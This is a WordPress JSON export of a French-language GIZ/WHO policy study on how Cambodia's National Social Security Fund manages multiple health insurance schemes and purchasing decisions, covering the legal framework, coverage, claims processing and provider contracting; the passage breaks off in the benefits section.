{"id":987626666,"date":"2020-07-16T11:05:54","date_gmt":"2020-07-16T10:05:54","guid":{"rendered":"https:\/\/p4h.world\/vers-des-achats-strategiques-gestion-de-regimes-multiples-et-decisions-dachat-par-la-caisse-nationale-de-securite-sociale-du-cambodge\/"},"modified":"2023-09-22T12:49:46","modified_gmt":"2023-09-22T11:49:46","slug":"vers-des-achats-strategiques-gestion-de-regimes-multiples-et-decisions-dachat-par-la-caisse-nationale-de-securite-sociale-du-cambodge","status":"publish","type":"post","link":"https:\/\/p4h.world\/fr\/vers-des-achats-strategiques-gestion-de-regimes-multiples-et-decisions-dachat-par-la-caisse-nationale-de-securite-sociale-du-cambodge\/","title":{"rendered":"Vers des achats strat\u00e9giques : Gestion de r\u00e9gimes multiples et d\u00e9cisions d&#8217;achat par la Caisse nationale de s\u00e9curit\u00e9 sociale du Cambodge"},"content":{"rendered":"<blockquote>\n<p><strong>Avertissement :<\/strong> cette \u00e9tude&nbsp;est publi\u00e9e par la Deutsche Gesellschaft f\u00fcr Internationale Zusammenarbeit (GIZ) GmbH, qui est un centre collaborateur de l&#8217;OMS ; il ne s&#8217;agit pas d&#8217;une publication de l&#8217;Organisation mondiale de la sant\u00e9. La Deutsche Gesellschaft f\u00fcr Internationale Zusammenarbeit (GIZ) GmbH est responsable des opinions exprim\u00e9es dans cette brochure, et ces opinions ne repr\u00e9sentent pas n\u00e9cessairement les d\u00e9cisions ou les politiques de l&#8217;Organisation mondiale de la sant\u00e9.<\/p>\n<\/blockquote>\n<p> <img decoding=\"async\" src=\"https:\/\/p4h.world\/app\/uploads\/2023\/03\/1_0.png\" width=\"100%\"><\/p>\n<h3>Conclusions et recommandations<\/h3>\n<p>Bien que ces deux r\u00e9gimes soient \u00e0 des stades de d\u00e9veloppement diff\u00e9rents, ils couvrent tous deux une proportion substantielle de la population. Le cadre de la politique nationale de protection sociale (NSPPF) fait progresser le NSSF&nbsp;en tant qu&#8217;institut unique charg\u00e9 de g\u00e9rer \u00e0 la fois le Health Equity Fund (HEF) et le NSSF, afin d&#8217;accro\u00eetre la capacit\u00e9 \u00e0 acheter strat\u00e9giquement des services de soins de sant\u00e9. Toutefois, comme le montre cet aper\u00e7u, la capacit\u00e9 \u00e0 g\u00e9rer simultan\u00e9ment les deux r\u00e9gimes et \u00e0 acheter des services de mani\u00e8re strat\u00e9gique est entrav\u00e9e par une s\u00e9rie de facteurs. Ces probl\u00e8mes ne sont pas insurmontables et peuvent \u00eatre r\u00e9solus pendant que le syst\u00e8me de protection sociale de la sant\u00e9 se d\u00e9veloppe sous l&#8217;\u00e9gide du Conseil national de la protection sociale (NSPC).<\/p>\n<p>\u00c0 ce stade, HEF est le r\u00e9gime le plus mature du syst\u00e8me social de protection de la sant\u00e9 en pleine \u00e9volution, ayant le plus b\u00e9n\u00e9fici\u00e9 de l&#8217;assistance technique, comme en t\u00e9moignent le syst\u00e8me de dossier m\u00e9dical du patient (PMRS) bas\u00e9 sur le cloud qui fonctionne parfaitement et l&#8217;Agence de certification des paiements (PCA) semi-autonome qui fonctionne bien. Pour des raisons d&#8217;efficacit\u00e9, la NSSF pourrait utiliser ces syst\u00e8mes existants, ce qui contribuerait \u00e0 rationaliser ses op\u00e9rations \u00e0 un co\u00fbt minimal. Toutefois, avant que cela ne se produise, il serait souhaitable d&#8217;aligner les op\u00e9rations entre les deux r\u00e9gimes, en particulier l&#8217;ensemble des prestations, les m\u00e9canismes et les montants de paiement des prestataires, les crit\u00e8res de s\u00e9lection des prestataires et les exigences en mati\u00e8re d&#8217;orientation. Ces alignements peuvent \u00e9galement \u00eatre effectu\u00e9s apr\u00e8s coup. Les deux r\u00e9gimes peuvent \u00e9galement b\u00e9n\u00e9ficier de mesures suppl\u00e9mentaires, telles que l&#8217;accr\u00e9ditation des prestataires de soins de sant\u00e9 priv\u00e9s. Ces questions sont abord\u00e9es ci-dessous.<\/p>\n<p>L&#8217;ensemble des prestations pour les deux r\u00e9gimes devrait \u00eatre bas\u00e9 sur des crit\u00e8res convenus et transparents, y compris la prise en compte des externalit\u00e9s, de la charge de morbidit\u00e9, du rapport co\u00fbt-efficacit\u00e9, du co\u00fbt de l&#8217;intervention et de l&#8217;\u00e9quit\u00e9. Un forfait de base abordable devrait \u00eatre garanti dans le cadre des deux r\u00e9gimes et \u00eatre toujours disponible pour les \u00e9tablissements sous contrat. Les services \u00e0 inclure doivent \u00eatre de nature pr\u00e9ventive, curative, r\u00e9habilitative et palliative, et similaires pour les deux r\u00e9gimes. Le paquet du NSSF semble promouvoir principalement l&#8217;utilisation de services de soins de sant\u00e9 curatifs, malgr\u00e9 le fait qu&#8217;un grand nombre de membres du NSSF sont des ouvriers de l&#8217;industrie de l&#8217;habillement, dont la majorit\u00e9 sont des femmes en \u00e2ge de procr\u00e9er.<\/p>\n<p>Les m\u00e9thodes et les montants de paiement des prestataires devraient \u00e9galement \u00eatre similaires pour les deux r\u00e9gimes. Dans l&#8217;\u00e9tat actuel des choses, les frais plus \u00e9lev\u00e9s pay\u00e9s par la CNSS conduisent \u00e0 un &#8220;\u00e9cr\u00e9mage&#8221;, les patients affili\u00e9s \u00e0 la CNSS \u00e9tant susceptibles d&#8217;\u00eatre prioritaires par rapport aux b\u00e9n\u00e9ficiaires du FEH, ce qui compromet l&#8217;acc\u00e8s \u00e9quitable aux services de soins de sant\u00e9. Elle exige \u00e9galement des prestataires de soins de sant\u00e9 qu&#8217;ils mettent en place diff\u00e9rents syst\u00e8mes de notification.<\/p>\n<p>HEF ne passe des contrats qu&#8217;avec des prestataires de soins de sant\u00e9 publics. Si l&#8217;exclusion des prestataires priv\u00e9s peut restreindre le choix des patients et imposer des obstacles \u00e0 l&#8217;acc\u00e8s g\u00e9ographique, elle constitue sans doute la seule mesure d&#8217;assurance qualit\u00e9, puisque seuls les prestataires de soins de sant\u00e9 publics sont soumis \u00e0 des normes de qualit\u00e9 et \u00e0 des visites de contr\u00f4le. Un syst\u00e8me d&#8217;accr\u00e9ditation pour les prestataires publics et priv\u00e9s constituerait un premier pas vers des normes minimales de qualit\u00e9 des soins.<\/p>\n<p>En outre, l&#8217;absence de syst\u00e8me d&#8217;orientation pour les programmes NSSF SHI&nbsp;nuit \u00e0 l&#8217;efficacit\u00e9 et \u00e0 l&#8217;application du syst\u00e8me de sant\u00e9 au niveau du district. Par cons\u00e9quent, des exigences de r\u00e9f\u00e9rencement similaires \u00e0 celles du FEH devraient \u00eatre appliqu\u00e9es aux r\u00e9gimes du NSSF.<\/p>\n<blockquote>\n<p><strong>Remerciements :<\/strong> Nous tenons \u00e0 remercier <strong>Jean-Claude Hennicot <\/strong>pour le travail de terrain et la r\u00e9daction du rapport initial sur lequel se base ce document. L&#8217;\u00e9valuation a \u00e9t\u00e9 con\u00e7ue conjointement par la GIZ<strong>(Bart Jacobs<\/strong>) et l&#8217;OMS<strong>(Kumanan Rasanathan <\/strong>et <strong>Erik Josephson<\/strong>). Nous remercions <strong>Inke Mathauer<\/strong>, <strong>Aurelie Klein<\/strong>, <strong>Fahdi Dkhimi<\/strong>, <strong>Maria-Lucia Nikoloudi<\/strong>, <strong>Julius Murke<\/strong> et <strong>Christian Popescu<\/strong> pour leur contribution au rapport.<\/p>\n<p><em>L&#8217;\u00e9tude publi\u00e9e sur le site&nbsp;a \u00e9t\u00e9 financ\u00e9e conjointement par le minist\u00e8re f\u00e9d\u00e9ral allemand de la sant\u00e9.<br \/>\nMinist\u00e8re de la sant\u00e9 et minist\u00e8re f\u00e9d\u00e9ral allemand de la coop\u00e9ration \u00e9conomique et du d\u00e9veloppement.<\/em><\/p>\n<\/blockquote>\n<p><em>Source de la photo : Pixabay.com<\/em><\/p>\n<p><strong><em>2.3 Vers la sant\u00e9 publique universelle<\/em><\/strong><br \/>\nEn juillet 2017, le gouvernement royal du Cambodge a approuv\u00e9 le cadre politique national de protection sociale 2016-2025 (NSPPF), <sup><a href=\"#footnote_0_987626666\" id=\"identifier_0_987626666\" class=\"footnote-link footnote-identifier-link\" title=\"Royal Government of Cambodia. (2017). National Social Protection Policy Framework (NSPPF\">1<\/a><\/sup>,&nbsp;qui d\u00e9finit la vision du d\u00e9veloppement futur et de la gouvernance du syst\u00e8me de protection sociale du pays, y compris une feuille de route pour la sant\u00e9 publique universelle. Apr\u00e8s des ann\u00e9es d&#8217;exp\u00e9rimentation et de pilotage de diverses interventions de financement de la sant\u00e9 avec le soutien des partenaires du d\u00e9veloppement, telles que les bons pour les services de sant\u00e9 g\u00e9n\u00e9sique, les contrats externes et internes, le paiement \u00e0 la performance, l&#8217;assurance maladie communautaire, les syst\u00e8mes d&#8217;incitation pour les sages-femmes et le HEF, le NSPPF vise \u00e0 d\u00e9velopper une approche coh\u00e9rente et globale de la protection sociale de la sant\u00e9 et de l&#8217;UHC. La NSPPF envisage d&#8217;atteindre l&#8217;objectif de la sant\u00e9 publique universelle par les moyens suivants :<\/p>\n<ul>\n<li>R\u00e9gime d&#8217;assurance maladie sociale pour les salari\u00e9s du secteur priv\u00e9 formel, g\u00e9r\u00e9 par le NSSF ;<\/li>\n<li>R\u00e9gime d&#8217;assurance maladie sociale pour les employ\u00e9s du secteur public, g\u00e9r\u00e9 par le NSSF ;<\/li>\n<li>Une assurance maladie pour les employ\u00e9s du secteur informel ;<\/li>\n<li>Couverture du FEH pour les pauvres et les autres groupes vuln\u00e9rables (actuellement g\u00e9r\u00e9e par le minist\u00e8re de la sant\u00e9 et l&#8217;APC pour la v\u00e9rification et la certification des demandes).<\/li>\n<\/ul>\n<p>Pour diverses raisons, la NSPPF propose un op\u00e9rateur unique pour les trois r\u00e9gimes (figure 2). Cet op\u00e9rateur sera soutenu par l&#8217;APC en tant que m\u00e9canisme semi-autonome d&#8217;examen des demandes de remboursement, qui v\u00e9rifiera et approuvera les demandes de remboursement soumises \u00e0 l&#8217;op\u00e9rateur.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/p4h.world\/app\/uploads\/2023\/03\/1_1.png\" width=\"100%\"><\/p>\n<h3>3. La situation<\/h3>\n<p><strong><em>3.1 Le cadre juridique<\/em><\/strong><br \/>\nLa branche SHI du NSSF pour le secteur priv\u00e9 formel est \u00e9tay\u00e9e par la l\u00e9gislation suivante :<\/p>\n<ul>\n<li>La loi sur la s\u00e9curit\u00e9 sociale (2002) et les r\u00e8glements connexes concernant la cr\u00e9ation du fonds de s\u00e9curit\u00e9 sociale et d\u00e9signant le NSSF comme l&#8217;agence de mise en \u0153uvre ;<\/li>\n<li>Sous-d\u00e9cret n\u00b0 01 sur l&#8217;\u00e9tablissement d&#8217;un r\u00e9gime de s\u00e9curit\u00e9 sociale sur les soins de sant\u00e9 pour les personnes d\u00e9finies par les dispositions de la loi sur le travail (janvier 2016) ;<\/li>\n<li>Prakas n\u00b0 109 (Minist\u00e8re du travail et de la formation professionnelle (MLVT)) sur les prestations de soins de sant\u00e9 (avril 2018) ;<\/li>\n<li>Prakas n\u00b0 173 (MLVT\/MOH) sur le m\u00e9canisme de paiement des prestations de soins de sant\u00e9 par les prestataires (ao\u00fbt 2017) ;<\/li>\n<li>Sous-d\u00e9cret n\u00b0 140 (ao\u00fbt 2017), stipulant l&#8217;extension du NSSF \u00e0 toutes les entreprises employant plus d&#8217;un salari\u00e9, et que les cotisations SHI doivent \u00eatre enti\u00e8rement pay\u00e9es par l&#8217;employeur \u00e0 hauteur de 2,6 % des salaires assurables (plafonn\u00e9es \u00e0 un million de riel cambodgien par salari\u00e9 (KHR)) (1 USD = 4 000 KHR) ;<\/li>\n<li>D\u00e9cret royal sur l&#8217;\u00e9tablissement de r\u00e9gimes de s\u00e9curit\u00e9 sociale pour les risques professionnels et les soins de sant\u00e9 pour les employ\u00e9s du secteur public, les anciens fonctionnaires et les v\u00e9t\u00e9rans (SN\/RKT\/0217\/078) (f\u00e9vrier 2017), \u00e9tablissant une couverture des accidents du travail et de la SHI pour les employ\u00e9s du secteur public, les fonctionnaires retrait\u00e9s et les v\u00e9t\u00e9rans, qui sera g\u00e9r\u00e9e par le NSSF ;<\/li>\n<li>Prakas conjoint n\u00b0 404 (MLVT, MOH et minist\u00e8re de l&#8217;\u00e9conomie et des finances (MEF)) (octobre 2017), sur la couverture des travailleurs du secteur informel travaillant 8 heures par semaine ou moins, \u00e0 couvrir par l&#8217;assurance maladie et l&#8217;allocation de maternit\u00e9 (extension HEF) ;<\/li>\n<li>Prakas du minist\u00e8re de la sant\u00e9 (janvier 2018), permettant aux conducteurs de cyclo de b\u00e9n\u00e9ficier de soins m\u00e9dicaux gratuits dans le cadre de la HEF apr\u00e8s leur inscription \u00e0 la NSSF et la r\u00e9ception de leur carte de membre de la NSSF.<\/li>\n<\/ul>\n<p>La loi sur la s\u00e9curit\u00e9 sociale concernant la couverture obligatoire du SHI pour le secteur formel (public et priv\u00e9) est en cours de r\u00e9vision. Le projet traite de l&#8217;assurance contre les accidents du travail, des pensions (vieillesse, invalidit\u00e9 et survie), de l&#8217;assurance maladie, des prestations en esp\u00e8ces en cas de maladie et de maternit\u00e9, et des allocations fun\u00e9raires. Le projet de loi pr\u00e9voit \u00e9galement une couverture volontaire de la SHI pour les travailleurs du secteur informel, mais ne contient aucune disposition concernant la couverture sociale de la sant\u00e9 pour les pauvres.<\/p>\n<p>Les discussions sur la loi-cadre r\u00e9gissant la protection sociale de la sant\u00e9 (y compris l&#8217;assurance sociale et l&#8217;assistance sociale) sont toujours en cours.<\/p>\n<p><strong>Lacunes et d\u00e9fis<\/strong><\/p>\n<ul>\n<li>Le cadre juridique existant en mati\u00e8re de protection sociale est plut\u00f4t mince, \u00e0 l&#8217;exception de la loi sur la s\u00e9curit\u00e9 sociale de 2002 qui ne couvre actuellement que le SHI pour le secteur priv\u00e9 formel. La loi r\u00e9vis\u00e9e sur la s\u00e9curit\u00e9 sociale vise \u00e0 \u00e9largir ce champ d&#8217;application en incluant \u00e0 la fois le secteur priv\u00e9 formel et le secteur public formel, et \u00e0 \u00e9tendre la gamme des prestations en incluant des dispositions pour un r\u00e9gime national de retraite et un r\u00e9gime SHI (la loi sur la s\u00e9curit\u00e9 sociale ne fait pas explicitement r\u00e9f\u00e9rence \u00e0 l&#8217;assurance maladie sociale).<\/li>\n<li>Des dispositions l\u00e9gales relatives \u00e0 la SHI pour le secteur public ont \u00e9t\u00e9 adopt\u00e9es sous la forme de d\u00e9crets royaux, mais ces dispositions seront int\u00e9gr\u00e9es dans la nouvelle loi sur la s\u00e9curit\u00e9 sociale.<\/li>\n<li>Il n&#8217;existe pas de l\u00e9gislation qui stipule le droit des pauvres \u00e0 un acc\u00e8s gratuit aux soins de sant\u00e9 (par le biais du FEH ou autre).<\/li>\n<li>Bien que sugg\u00e9r\u00e9 dans la NSPPF, le projet de loi sur la s\u00e9curit\u00e9 sociale ne fait pas r\u00e9f\u00e9rence \u00e0 la NSSF en tant qu&#8217;op\u00e9rateur du FEH. Si cette version est approuv\u00e9e par l&#8217;Assembl\u00e9e nationale, il sera difficile d&#8217;amender la loi, et un texte l\u00e9gislatif distinct (par exemple, un d\u00e9cret royal) pourrait \u00eatre n\u00e9cessaire pour confier la gestion du FEH \u00e0 la NSSF. Toutefois, cela exclurait la possibilit\u00e9 de subventions crois\u00e9es entre les pools de financement, \u00e9tant donn\u00e9 que les deux fonds seront couverts par des textes l\u00e9gislatifs diff\u00e9rents. Il pourrait \u00eatre utile d&#8217;envisager une loi distincte sur l&#8217;assurance maladie sociale, qui permettrait la mise en place d&#8217;un syst\u00e8me \u00e0 payeur unique assorti d&#8217;exigences sp\u00e9cifiques.<\/li>\n<\/ul>\n<p><strong><em>3.2 Couverture de la population<\/em><\/strong><br \/>\nLa couverture de la SHI pour les travailleurs du secteur priv\u00e9 formel a \u00e9t\u00e9 lanc\u00e9e en mai 2016 et &#8211; au moment de cette \u00e9valuation &#8211; couvrait environ 1,3 million de travailleurs. L&#8217;extension aux petites entreprises (1-7 employ\u00e9s) est en cours.<\/p>\n<p>La couverture SHI pour les fonctionnaires, les retrait\u00e9s publics et les anciens combattants a \u00e9t\u00e9 lanc\u00e9e le 1er janvier 2018 et couvre environ 315 000 personnes, dont 204 083 fonctionnaires actifs, 55 222 retrait\u00e9s et 54 770 anciens combattants. La d\u00e9livrance des cartes de membre \u00e0 tous les b\u00e9n\u00e9ficiaires a commenc\u00e9 en 2018 et se poursuit.<\/p>\n<p>La mise en \u0153uvre de l&#8217;extension du FEH a d\u00e9but\u00e9 en janvier 2018 et l&#8217;inscription volontaire est en cours. A ce jour, environ 52 482 membres ont \u00e9t\u00e9 enregistr\u00e9s et leurs cartes ont \u00e9t\u00e9 d\u00e9livr\u00e9es. Le programme d&#8217;extension du HEF couvre les travailleurs du secteur informel, les chefs de village, les membres des conseils communaux, les membres de la famille des v\u00e9t\u00e9rans de guerre et les conducteurs de cyclo.<\/p>\n<p><strong>Lacunes et d\u00e9fis<\/strong><\/p>\n<ul>\n<li>La population couverte par le NSSF pourrait atteindre 3,2 millions de salari\u00e9s du secteur priv\u00e9 formel, selon les estimations de l&#8217;OIT. Toutefois, l&#8217;exp\u00e9rience internationale a montr\u00e9 que l&#8217;enregistrement des petites et moyennes entreprises est un processus fastidieux et chronophage qui peut emp\u00eacher l&#8217;extension rapide de la couverture \u00e0 tous les salari\u00e9s du secteur formel.<\/li>\n<li>Les personnes \u00e0 charge des employ\u00e9s du secteur priv\u00e9 formel ne sont pas couvertes par la SHI.<\/li>\n<\/ul>\n<p><strong><em>3.3 Questions op\u00e9rationnelles<\/em><\/strong><\/p>\n<p>\n<strong>Inscription<\/strong><\/p>\n<ul>\n<li>La NSSF enregistre actuellement les petites entreprises (moins de huit employ\u00e9s). Les employeurs sont identifi\u00e9s par la division de l&#8217;inspection, mais l&#8217;enregistrement ne suit pas une approche syst\u00e9matique permettant de recenser tous les employeurs agr\u00e9\u00e9s.<\/li>\n<li>L&#8217;enregistrement des travailleurs individuels reste un processus fastidieux en raison de la n\u00e9cessit\u00e9 de collecter des informations personnelles et des donn\u00e9es biom\u00e9triques (photographie de face et empreintes digitales) aupr\u00e8s de tous les travailleurs. Pour de nombreux travailleurs, ce processus est entrav\u00e9 par l&#8217;absence de carte d&#8217;identit\u00e9. La NSSF travaille en \u00e9troite collaboration avec le minist\u00e8re de l&#8217;int\u00e9rieur (MOI) pour d\u00e9livrer des cartes d&#8217;identit\u00e9 \u00e0 ces travailleurs au moment de leur inscription \u00e0 la NSSF. En raison du manque d&#8217;espace au si\u00e8ge de la NSSF, l&#8217;unit\u00e9 d&#8217;enregistrement a \u00e9t\u00e9 transf\u00e9r\u00e9e en 2017 au bureau de la NSSF \u00e0 Samroung Andeth. L&#8217;enregistrement des travailleurs individuels devrait rester difficile en raison du taux \u00e9lev\u00e9 de rotation du personnel, en particulier dans le secteur de l&#8217;habillement.<\/li>\n<li>Si les empreintes digitales sont collect\u00e9es et stock\u00e9es dans une base de donn\u00e9es centrale, elles ne sont pas enregistr\u00e9es sur la carte de membre d\u00e9livr\u00e9e aux travailleurs, les cartes \u00e0 puce \u00e9tant jug\u00e9es trop on\u00e9reuses. Les \u00e9tablissements de sant\u00e9 identifient actuellement les patients \u00e9ligibles gr\u00e2ce \u00e0 leur carte de membre de la NSSF avec photo et \u00e0 leur carte d&#8217;identit\u00e9, ainsi qu&#8217;\u00e0 une v\u00e9rification aupr\u00e8s de la NSSF.<\/li>\n<li>L&#8217;enregistrement des travailleurs du secteur public a \u00e9t\u00e9 relativement simple. Les donn\u00e9es relatives aux fonctionnaires actifs ont \u00e9t\u00e9 communiqu\u00e9es par le minist\u00e8re de la fonction publique, sur la base desquelles des cartes de membre individuelles ont \u00e9t\u00e9 imprim\u00e9es et envoy\u00e9es aux diff\u00e9rents minist\u00e8res et agences publiques pour \u00eatre distribu\u00e9es aux membres. Les cartes d\u00e9livr\u00e9es aux travailleurs du secteur public ne comportent actuellement pas de photographie. Les fonctionnaires peuvent \u00eatre identifi\u00e9s au point de service en recoupant leur nom et d&#8217;autres donn\u00e9es personnelles (par exemple, leur date de naissance) avec leur carte d&#8217;identit\u00e9 d\u00e9livr\u00e9e par le gouvernement. Les retrait\u00e9s et les anciens combattants ont \u00e9t\u00e9 enregistr\u00e9s de la m\u00eame mani\u00e8re, sur la base des donn\u00e9es re\u00e7ues de la Caisse nationale des anciens combattants (CNAC) et de la Caisse nationale de s\u00e9curit\u00e9 sociale des fonctionnaires (CNSS-C), \u00e0 MOSVY.<\/li>\n<li>Les membres du HEF sont enregistr\u00e9s lorsqu&#8217;ils sont identifi\u00e9s et inclus dans la base de donn\u00e9es IDPoor g\u00e9r\u00e9e par la MOP, ou lorsqu&#8217;ils demandent \u00e0 b\u00e9n\u00e9ficier d&#8217;un service dans les h\u00f4pitaux par le biais d&#8217;un test de ressources bas\u00e9 sur une carte de score (post-identification).<\/li>\n<\/ul>\n<p><strong>Traitement des demandes d&#8217;indemnisation&nbsp;<\/strong><\/p>\n<p>Le traitement des demandes de remboursement des prestataires est actuellement un d\u00e9fi pour NSSF en raison du grand nombre de demandes (jusqu&#8217;\u00e0 50 000 \u00e9pisodes de patients individuels par mois) et des proc\u00e9dures op\u00e9rationnelles strictes qui requi\u00e8rent un traitement manuel. Conform\u00e9ment \u00e0 ces proc\u00e9dures, toutes les demandes de remboursement doivent \u00eatre v\u00e9rifi\u00e9es par rapport aux documents papier soumis par les prestataires. Cela cr\u00e9e une charge de travail consid\u00e9rable et entra\u00eene des retards en raison du temps n\u00e9cessaire pour recevoir et r\u00e9cup\u00e9rer les documents relatifs aux demandes, en particulier dans les provinces \u00e9loign\u00e9es. L&#8217;arri\u00e9r\u00e9 actuel s&#8217;\u00e9l\u00e8ve \u00e0 plusieurs semaines, et les retards dans les paiements aux fournisseurs seraient de l&#8217;ordre de deux mois.<\/p>\n<p>Au cours de la phase pilote de la SHI, le NSSF a d\u00e9velopp\u00e9 un syst\u00e8me de traitement des demandes bas\u00e9 sur les technologies de l&#8217;information, appel\u00e9 Health Social Protection Information System (HSPIS) (Un projet pilote de SHI, appel\u00e9 Health Insurance Project (HIP), a \u00e9t\u00e9 lanc\u00e9 en 2008 par l&#8217;ONG fran\u00e7aise Groupe de Recherche et d&#8217;Echanges Technologiques (GRET) et a \u00e9t\u00e9 transf\u00e9r\u00e9 au NSSF en 2011. Le projet pilote a couvert environ 6 000 travailleurs dans diverses usines de confection autour de Phnom Penh, et a \u00e9t\u00e9 soutenu techniquement par le GRET.) Le syst\u00e8me permet \u00e0 la NSSF de v\u00e9rifier le statut de membre et l&#8217;\u00e9ligibilit\u00e9 aux prestations des individus, de saisir les donn\u00e9es relatives aux prestations (consommation) des membres individuels et des prestataires, et de permettre la soumission \u00e9lectronique des demandes de remboursement par les prestataires. Cependant, la capacit\u00e9 de la plateforme HSPIS (Microsoft Access) est limit\u00e9e et jug\u00e9e inadapt\u00e9e \u00e0 l&#8217;augmentation de la capacit\u00e9 requise pour un r\u00e9gime national. La NSSF pr\u00e9voit de d\u00e9velopper un syst\u00e8me en ligne et une application mobile, permettant de soumettre les demandes via un t\u00e9l\u00e9phone intelligent et d&#8217;inclure des pi\u00e8ces jointes (telles que des scans de documents justificatifs).<\/p>\n<p>La soumission des demandes de remboursement dans le cadre du HEF repose sur le syst\u00e8me d&#8217;enregistrement de la gestion des patients (PMRS), utilis\u00e9 par tous les prestataires de soins de sant\u00e9 publique pour saisir les donn\u00e9es d&#8217;utilisation li\u00e9es au HEF. Le PMRS leur permet de saisir les donn\u00e9es relatives aux membres du FEH et les enregistrements d\u00e9taill\u00e9s des services, ainsi que de pr\u00e9parer et de soumettre les demandes de remboursement par les prestataires.<\/p>\n<p>Selon les informations fournies par la division des soins de sant\u00e9 de la NSSF, la NSSF pr\u00e9voit d&#8217;utiliser son propre syst\u00e8me informatique au lieu du PMRS.<\/p>\n<p>Le traitement des demandes de remboursement pour toutes les branches SHI g\u00e9r\u00e9es par la NSSF est actuellement assur\u00e9 en interne par la division des soins de sant\u00e9. Les prestataires de soins de sant\u00e9 sous contrat avec la NSSF dans le cadre de diff\u00e9rentes branches (priv\u00e9es ou publiques) doivent soumettre des demandes de remboursement distinctes pour chaque branche respective de la SHI.<\/p>\n<p><strong>Fournisseurs de soins de sant\u00e9 contractuels<\/strong><br \/>\nLa NSSF signe des contrats annuels avec les prestataires de soins de sant\u00e9 sur la base d&#8217;un mod\u00e8le de contrat standard, refl\u00e9tant les dispositions stipul\u00e9es dans les r\u00e9glementations respectives (ensemble de prestations, m\u00e9canisme de paiement du prestataire, etc.) Si un prestataire est engag\u00e9 \u00e0 la fois dans le secteur public et dans le secteur priv\u00e9, deux contrats distincts sont sign\u00e9s avec la CNSS, bien que les dispositions du contrat (ensemble des prestations et m\u00e9canisme de paiement) soient en grande partie les m\u00eames. La conclusion de contrats avec des prestataires publics est essentiellement une formalit\u00e9, puisque les conditions et les dispositions contractuelles sont \u00e9nonc\u00e9es dans les prakas conjointes du minist\u00e8re de la sant\u00e9 et du minist\u00e8re de la protection sociale, et que les h\u00f4pitaux publics ne sont pas en mesure de s&#8217;opposer \u00e0 ces conditions.<\/p>\n<p>Les prestataires de soins de sant\u00e9 priv\u00e9s ne sont pas li\u00e9s par les r\u00e9glementations du secteur public et peuvent choisir de ne pas accepter les conditions propos\u00e9es par la NSSF, en particulier les honoraires propos\u00e9s. Pour ces honoraires, la r\u00e9glementation en vigueur pr\u00e9voit un montant \u00e9gal \u00e0 120-150 % des frais de dossier payables aux prestataires publics pour le m\u00eame niveau de soins. Selon la r\u00e9glementation, le pourcentage applicable \u00e0 chaque prestataire priv\u00e9 est d\u00e9termin\u00e9 par la CNSS apr\u00e8s une \u00e9valuation de la qualit\u00e9. Dans la pratique, cependant, tous les prestataires re\u00e7oivent actuellement 150 % des frais de dossier applicables aux \u00e9tablissements publics du m\u00eame niveau (ensemble compl\u00e9mentaire d&#8217;activit\u00e9s de niveau 1 (CPA1), CPA2, CPA3, ou h\u00f4pital national (NH)). (D&#8217;apr\u00e8s les informations fournies par M. Sophannarith Heng, directeur de la division des politiques de la NSSF).<\/p>\n<p>\u00c0 la fin de l&#8217;ann\u00e9e 2018, la NSSF avait pass\u00e9 des contrats avec un total de 1 402 \u00e9tablissements, dont 49 cliniques et polycliniques priv\u00e9es et un h\u00f4pital priv\u00e9 (tableau 1).<\/p>\n<p>La d\u00e9cision de passer un contrat avec des prestataires priv\u00e9s serait justifi\u00e9e par le fait que les affili\u00e9s pr\u00e9f\u00e8rent se faire soigner dans des \u00e9tablissements priv\u00e9s. Pour les services ambulatoires en particulier, la plupart des assur\u00e9s pr\u00e9f\u00e8rent les prestataires priv\u00e9s en raison de l&#8217;am\u00e9lioration per\u00e7ue de la qualit\u00e9 des services.<\/p>\n<p>La s\u00e9lection des prestataires priv\u00e9s sous contrat avec la NSSF est bas\u00e9e sur les demandes des employeurs, qui soumettent une demande formelle \u00e0 la NSSF pour engager un prestataire de soins priv\u00e9 sp\u00e9cifique \u00e0 proximit\u00e9 des installations de l&#8217;employeur (par exemple, pr\u00e8s de leur usine de confection) afin de limiter le temps d&#8217;arr\u00eat de travail et de garantir la commodit\u00e9 d&#8217;acc\u00e8s aux services de sant\u00e9 pour les employ\u00e9s. D\u00e8s r\u00e9ception de cette demande, la division des soins de sant\u00e9 proc\u00e8de \u00e0 une \u00e9valuation de l&#8217;\u00e9tablissement concern\u00e9 afin de le classer en fonction de l&#8217;ensemble des services disponibles (CPA1, CPA2, CPA3 ou NH), conform\u00e9ment \u00e0 la r\u00e9glementation du minist\u00e8re de la sant\u00e9 applicable aux prestataires de services publics.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/p4h.world\/app\/uploads\/2023\/03\/1_2.png\" width=\"100%\"><\/p>\n<p>Contrairement \u00e0 HEF, NSSF n&#8217;a pas de syst\u00e8me de contr\u00f4le, tel qu&#8217;un syst\u00e8me d&#8217;orientation pour les services hospitaliers. Le libre choix du prestataire de services vise \u00e0 garantir un maximum de commodit\u00e9 aux assur\u00e9s, qui peuvent pr\u00e9f\u00e9rer se faire soigner dans un \u00e9tablissement de sant\u00e9 proche. L&#8217;absence de syst\u00e8me d&#8217;orientation a toutefois de profondes implications en termes de comportement de recherche de soins, de charge de travail pour les patients dans les h\u00f4pitaux tertiaires et de rentabilit\u00e9 du syst\u00e8me. Il a \u00e9t\u00e9 rapport\u00e9 que certains prestataires publics (en particulier l&#8217;h\u00f4pital national Calmette) sont d\u00e9j\u00e0 surcharg\u00e9s et ne peuvent pas faire face au volume suppl\u00e9mentaire de patients acc\u00e9dant aux services par l&#8217;interm\u00e9diaire du NSSF.<\/p>\n<p>En l&#8217;absence d&#8217;un cadre r\u00e9glementaire strict pour les h\u00f4pitaux priv\u00e9s et d&#8217;un m\u00e9canisme d&#8217;accr\u00e9ditation des h\u00f4pitaux, la qualit\u00e9 des soins et le contr\u00f4le r\u00e9glementaire des prestataires priv\u00e9s suscitent des inqui\u00e9tudes. En outre, \u00e9tant donn\u00e9 que les prestataires priv\u00e9s sont mieux pay\u00e9s pour les m\u00eames types de services, sans \u00e9valuation des co\u00fbts r\u00e9els, le recours \u00e0 des prestataires priv\u00e9s peut avoir une incidence sur le rapport co\u00fbt-efficacit\u00e9 et pourrait compromettre la viabilit\u00e9 financi\u00e8re du r\u00e9gime \u00e0 l&#8217;avenir.<\/p>\n<p><strong>Programme d&#8217;avantages sociaux<\/strong><br \/>\nL&#8217;ensemble des prestations m\u00e9dicales couvertes par la branche du secteur priv\u00e9 de la CNSS est d\u00e9fini dans le Prakas n\u00b0 184 sur les prestations de soins de sant\u00e9 (modifi\u00e9 le 25 avril 2018), et comprend les prestations m\u00e9dicales (en nature) et les prestations de remplacement du revenu (en esp\u00e8ces) pendant les absences du travail pour cause de maladie 